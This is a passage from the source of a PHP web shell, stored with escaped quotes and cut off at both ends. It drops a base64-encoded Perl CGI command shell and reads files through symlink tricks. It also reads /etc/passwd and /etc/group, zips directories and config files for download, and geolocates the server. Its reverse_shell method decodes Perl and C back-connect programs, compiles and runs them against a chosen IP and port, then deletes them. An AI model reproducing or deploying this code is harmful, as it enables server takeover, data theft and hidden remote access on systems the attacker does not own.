xheSB0aGUgb3V0cHV0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPjx4bXA+IjsKCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CgkJaWYoISRXaW5OVCkKCQl7CgkJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsKCQl9CgkJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJCXsKCQkJJHw9MTsKCQkJJENvbW1hbmQgLj0gIiB8IjsKCQkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7CgkJCXdoaWxlKDxDb21tYW5kT3V0cHV0PikKCQkJewoJCQkJJF8gPX4gcy8oXG58XHJcbikkLy87CgkJCQlwcmludCAiJF9cbiI7CgkJCX0KCQkJJHw9MDsKCQl9CgkJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgkJewoJCQlwcmludCBgJENvbW1hbmRgOwoJCX0KCQlpZighJFdpbk5UKQoJCXsKCQkJYWxhcm0oMCk7CgkJfQoJCXByaW50ICI8L3htcD4iOwoJfQoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cwoJewoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8gdGhlIGJyb3dzZXIKCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7CgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOwoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJCXByaW50IDw8RU5EOwo8Y29kZT4KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+CklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPi4KPC9jb2RlPgpFTkQKCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQlwcmludCAiPGNvZGU+RmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkITwvY29kZT4iOwoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyCnsKCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsKCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcKCXsKCQlpZigkV2luTlQpCgkJewoJCQliaW5tb2RlKFNFTkRGSUxFKTsKCQkJYmlubW9kZShTVERPVVQpOwoJCX0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsKCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7CgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOwoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOwoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOwoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOwoJCWNsb3NlKFNFTkRGSUxFKTsKCX0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkITwvY29kZT4iOwoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLAojIHRoZSBmaWxlIGlzIHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJlZ2luRG93bmxvYWQKewoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8CgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UKCXsKCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFVwbG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQkmUHJpbnRGaWxlVXBsb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCXJldHVybjsKCX0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJcHJpbnQgIjxjb2RlPlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7CgoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZAoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOwoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7CgoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7CgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQKCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQoJewoJCXByaW50ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7Cgl9CgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudAoJewoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQoJCXsKCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7CgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9OwoJCQljbG9zZShVUExPQURGSUxFKTsKCQkJcHJpbnQgIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQlwcmludCAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOwoJCX0KCQllbHNlCgkJewoJCQlwcmludCAiRmFpbGVkOiAkITxicj4iOwoJCX0KCX0KCXByaW50ICI8L2NvZGU+IjsKCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJJlByaW50UGFnZUZvb3RlcjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rCiMgdGhyb3VnaCAgd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIERvd25sb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2FpbgoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCXJldHVybjsKCX0KCQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8CgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UKCXsKCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CgokQWN0aW9uID0gJGlueydhJ307CiRBY3Rpb24gPSAibG9naW4iIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0CgojIGdldCB0aGUgZGlyZWN0b3J5IGluIHdoaWNoIHRoZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkCiRDdXJyZW50RGlyID0gJGlueydkJ307CmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsKCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsKCmlmKCRBY3Rpb24gZXEgImxvZ2luIiB8fCAhJExvZ2dlZEluKSAjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpICMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmVXBsb2FkRmlsZTsKfQplbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpICMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUKewoJJkRvd25sb2FkRmlsZTsKfQplbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAjIHVzZXIgd2FudHMgdG8gbG9nb3V0CnsKCSZQZXJmb3JtTG9nb3V0Owp9\');\r\n\t\t\r\n        if(file_exists($name)){\r\n            return true;\r\n        }else{\r\n\r\n            if(@file_put_contents($name,$cgiTelnetCode)){\r\n                @chmod($name,octdec("0755"));\r\n                return true;\r\n            }else{\r\n                return false;\r\n            }\r\n        }\r\n    }\r\n\r\n    public function create_symlink($target){\r\n        \r\n        if(!file_exists($target)){\r\n            return false;\r\n        }else{\r\n            $temp = sys_get_temp_dir().DIRECTORY_SEPARATOR.uniqid(rand(1,50)).".tmp";\r\n\r\n            if(@symlink($target,$temp)){\r\n                $content = @file_get_contents($temp);\r\n                @unlink($temp);\r\n                return $content;\r\n            }elseif(@link($target,$temp)){\r\n                $content = @file_get_contents($temp);\r\n                @unlink($temp);\r\n                return $content;\r\n            }else{\r\n                $exec_ln = $this->run_cmd(\'ln -sf \'.$target.\' \'.$temp);\r\n\r\n                if($exec_ln !== false){\r\n                    $content = @file_get_contents($temp);\r\n                    @unlink($temp);\r\n                    return $content;\r\n                }else{return false;}\r\n            }\r\n        }\r\n        \r\n    }\r\n    public function prepare_search_cmd($location,$keyword,$type){\r\n\r\n        if($type == \'all\'){\r\n            $cmd = \'find "\'.$location.\'" -iname "*\'.$keyword.\'*"\';\r\n        }elseif($type == \'files_only\'){\r\n            $cmd = \'find "\'.$location.\'" -type f -iname "*\'.$keyword.\'*"\';\r\n        }elseif($type == \'dirs_only\'){\r\n            $cmd = \'find "\'.$location.\'" -type d -iname "*\'.$keyword.\'*"\';\r\n        }\r\n        return $cmd;\r\n    }\r\n    public function get_users_count(){\r\n        if(strtoupper(substr(PHP_OS, 0, 3)) === \'WIN\'){\r\n            return \'Windows not supported\';\r\n        }else{\r\n\r\n            $read_as_arr = @array_map(\'trim\',@file(\'/etc/passwd\'));\r\n            return count($read_as_arr);\r\n        }\r\n    }\r\n    public function get_groups_count(){\r\n        if(strtoupper(substr(PHP_OS, 0, 3)) === \'WIN\'){\r\n            return \'Windows not supported\';\r\n        }else{\r\n            $read_as_arr = @array_map(\'trim\',@file(\'/etc/group\'));\r\n            return count($read_as_arr);\r\n        }\r\n    }\r\n    public function download_as_zip($target){\r\n        // https://stackoverflow.com/questions/55927020/how-to-zip-an-entire-folder-in-php-even-the-empty-ones\r\n        if(!is_readable($target)) return false;\r\n        $rootPath    = realpath($target);\r\n        $zipFilename = $_SERVER[\'HTTP_HOST\'].\'-\'.uniqid().\'.zip\';\r\n        $zip = new ZipArchive();\r\n        if($zip->open($zipFilename, ZipArchive::CREATE)){\r\n            /** @var SplFileInfo[] $files */\r\n            $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($rootPath), RecursiveIteratorIterator::LEAVES_ONLY);\r\n\r\n            foreach ($files as $name => $file)\r\n            {\r\n                $filePath = $file->getRealPath();\r\n                $relativePath = substr($filePath, strlen($rootPath) + 1);\r\n\r\n                if (!$file->isDir())\r\n                {\r\n                    // Add current file to archive\r\n                    $zip->addFile($filePath, $relativePath);\r\n                }else {\r\n                    if($relativePath !== false)\r\n                        $zip->addEmptyDir($relativePath);\r\n                }\r\n            }\r\n            if($zip->status == ZipArchive::ER_OK){\r\n                $zip->close();\r\n                return $zipFilename;\r\n            }else{\r\n                $zip->close();\r\n                return false;\r\n            }\r\n        }else{\r\n            return false;\r\n        }\r\n\r\n    }\r\n    public function download_configs($configs){\r\n        $configs = explode("\\n",$configs);\r\n        $configs = array_filter($configs);\r\n        $configs = array_unique($configs);\r\n        $configs = array_map(\'trim\',$configs);\r\n        $zipTemp = $_SERVER[\'HTTP_HOST\'].\'-configs.zip\'; \r\n        $zip     = new ZipArchive();\r\n\r\n        if($zip->open($zipTemp,ZipArchive::CREATE)){\r\n                 \r\n            foreach($configs as $config){\r\n               $zip->addFile($config,basename($config));\r\n            }\r\n            if($zip->status == ZipArchive::ER_OK){\r\n                $zip->close();\r\n                return $zipTemp;\r\n            }else{\r\n                $zip->close();\r\n                return false;\r\n            }\r\n        }else{\r\n            return false;\r\n        }    \r\n    }\r\n    public function reverse_shell($ip,$port,$method){\r\n\r\n        if($method == "perl"){\r\n            $back_connect_pl = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj\r\n            aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR\r\n            hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT\r\n            sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI\r\n            kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi\r\n            KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl\r\n            OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";\r\n\r\n            $perl_path = \'mws_rev.pl\';\r\n            if(@file_put_contents($perl_path,base64_decode($back_connect_pl))){\r\n                @chmod($perl_path,octdec("0755"));\r\n                $exec_command = $this->run_cmd("perl $perl_path $ip $port &");\r\n\r\n                if($exec_command !== false){\r\n                    @unlink($perl_path);\r\n                    return true;\r\n                }else{\r\n                    @unlink($perl_path);\r\n                    return false;\r\n                }\r\n            }else{\r\n                return false;\r\n            }\r\n        }else{\r\n            $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC\r\n            BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb\r\n            SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd\r\n            KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ\r\n            sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC\r\n            Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D\r\n            QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp\r\n            Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";\r\n\r\n            $c_path = \'mws_rev_c.c\';\r\n\r\n            if(@file_put_contents($c_path,base64_decode($back_connect_c))){\r\n                $compile = $this->run_cmd("gcc -o mws_rev_c $c_path");\r\n\r\n                if($compile !== false){\r\n                    if(file_exists(\'mws_rev_c\')){\r\n                        @unlink($c_path);\r\n                        @chmod(\'mws_rev_c\',octdec("0755"));\r\n                        $exec_command = $this->run_cmd("./mws_rev_c $ip $port &");\r\n                        if($exec_command !== false){\r\n                            @unlink(\'mws_rev_c\');\r\n                            return true;\r\n                        }else{@unlink(\'mws_rev_c\');return false;}\r\n                    }else{\r\n                        @unlink($c_path);\r\n                        return false;\r\n                    }\r\n                }else{@unlink($c_path);return false;}\r\n            }else{return false;}\r\n        }\r\n\r\n    }\r\n\r\n    public function get_ip_information(){\r\n        $informations = array();\r\n\r\n        $server_ip = $_SERVER[\'SERVER_ADDR\'];\r\n        \r\n        $sites     = array(\r\n        \'http://ip-api.com/json/\'.$server_ip,\r\n        \'https://ipwhois.app/json/\'.$server_ip,\r\n        \'https://ipapi.co/\'.$server_ip.\'/json/\',\r\n        \'https://free.ipdetails.io/\'.$server_ip,\r\n        \'https://ipinfo.io/\'.$server_ip.\'/json\');\r\n\r\n        foreach($sites as $key => $lookup_addr){\r\n            if(function_exists(\'curl_init\')){\r\n                $curl      =  curl_init();\r\n                curl_setopt_array($curl,array(\r\n                    CURLOPT_RETURNTRANSFER => 1,\r\n                    CURLOPT_FOLLOWLOCATION => true,\r\n                    CURLOPT_SSL_VERIFYHOST => 0,\r\n                    CURLOPT_SSL_VERIFYPEER => 0,\r\n                    CURLOPT_USERAGENT => \'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 OPR/79.0.4143.72\',\r\n                    CURLOPT_URL => $lookup_addr,\r\n                    CURLOPT_TIMEOUT => 10));\r\n                    \r\n                $content   = curl_exec($curl);\r\n                curl_close($curl);\r\n            }elseif(function_exists(\'file_get_contents\')){\r\n                $options = stream_context_create(array("http" => array("timeout" => 10)));\r\n                $content = file_get_contents($lookup_addr,false,$options);\r\n            }elseif(function_exists(\'fopen\')){\r\n                $options = stream_context_create(array("http" => array("timeout" => 10)));\r\n                $fopen = fopen($lookup_addr,\'r\',false,$options);\r\n\r\n                if($fopen){\r\n                    $content = \'\';\r\n                    while($read = fread($fopen,1024)){\r\n                        $content .= $read;\r\n                    }\r\n                    fclose($fopen);\r\n                }\r\n            }\r\n            if($content){\r\n                $decode = json_decode($content);\r\n                if($key == 0){\r\n                    if($decode->status){\r\n                        $informations[\'ip\']      = $server_ip;\r\n                        $informations[\'country\'] = $decode->country;\r\n                        $informations[\'city\'] = $decode->city;\r\n                        $informations[\'region\'] = $decode->regionName;\r\n                        $informations[\'timezone\'] = $decode->timezone;\r\n                    }else{\r\n                        $informations[\'ip\']      = $server_ip;\r\n                        